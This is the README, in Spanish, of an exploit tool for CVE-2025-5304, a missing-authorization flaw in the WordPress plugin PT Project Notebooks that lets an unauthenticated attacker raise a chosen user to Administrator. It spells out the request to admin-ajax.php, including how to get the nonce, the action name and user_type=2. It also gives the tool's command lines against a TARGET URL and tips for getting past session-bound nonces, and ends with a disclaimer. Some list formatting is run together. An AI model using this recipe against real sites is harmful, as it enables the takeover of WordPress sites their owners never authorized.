
PT Project Notebooks 1.0.0 - 1.1.3 - Autorización faltante para escalada de privilegios no autenticada
PT Project Notebooks 1.0.0 - 1.1.3 - Autorización faltante para una Escalada de Privilegios No Autenticada
PoC y helper de explotación para PT Project Notebooks versiones 1.0.0–1.1.3: la falta de autorización en
wpnb_pto_new_users_add()permite a atacantes no autenticados escalar los privilegios de un usuario elegido a Administrador medianteadmin-ajax.php.
El plugin PT Project Notebooks para WordPress es vulnerable a Escalada de Privilegios debido a la falta de autorización en la función wpnb_pto_new_users_add() en las versiones 1.0.0 a 1.1.3. Esto permite a atacantes no autenticados elevar los privilegios a los de un Administrador para un ID de usuario específico.
wp-content/plugins/project-notebooks/readme.txt y extrae la etiqueta Stable para confirmar que el objetivo es ≤ 1.1.3.custom.nonce y custom.ajax_url inyectados por el plugin en la página (mediante wp_localize_script).admin-ajax.php con action=wpnb_pto_new_users_add, el nonce descubierto, ids=<UserID> y user_type=2 para copiar todas las capacidades de Administrador al usuario objetivo.wordpress_logged_in_* correspondiente para que wp_verify_nonce() tenga éxito.python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28
python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28 -c "wordpress_logged_in_...=..."
CVE-2025-5304.py -help
usage: t.py [-h] -u URL -id ID [-c COOKIE] [--skip-version]
CVE-2025-5304 (Nxploited Edition)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL (e.g. http://127.0.0.1/wordpress)
-id, --id ID User ID to escalate (e.g. 28)
-c, --cookie COOKIE Optional Cookie header value for session-bound nonces
--skip-version Skip readme.txt version check
-u / --url — URL base del sitio; la herramienta la normaliza y lee el readme del plugin + la portada.-id / --id — ID numérico de usuario de WordPress a escalar (un Suscriptor es suficiente).-c / --cookie — Valor completo del encabezado Cookie (p. ej., wordpress_logged_in_*=...) requerido si el nonce está vinculado a la sesión.--skip-version — Omite la comprobación de la etiqueta Stable de readme.txt (útil cuando el readme está oculto o personalizado).Notas sobre nonce y cookie
custom.nonce es visible en una ventana privada/incógnito, es público: no se necesita cookie.wordpress_logged_in_* con -c.custom.ajax_url exacta (esquema/host/puerto/ruta) mostrada en el código fuente de la página.Este repositorio, PoC y código se proporcionan únicamente con fines educativos y de pruebas de seguridad autorizadas. Eres el único responsable de asegurarte de tener permiso explícito para probar los objetivos. El autor no asume ninguna responsabilidad por el mal uso o los daños derivados del uso de este proyecto.
Por: Khaled Alenazi (Nxploited)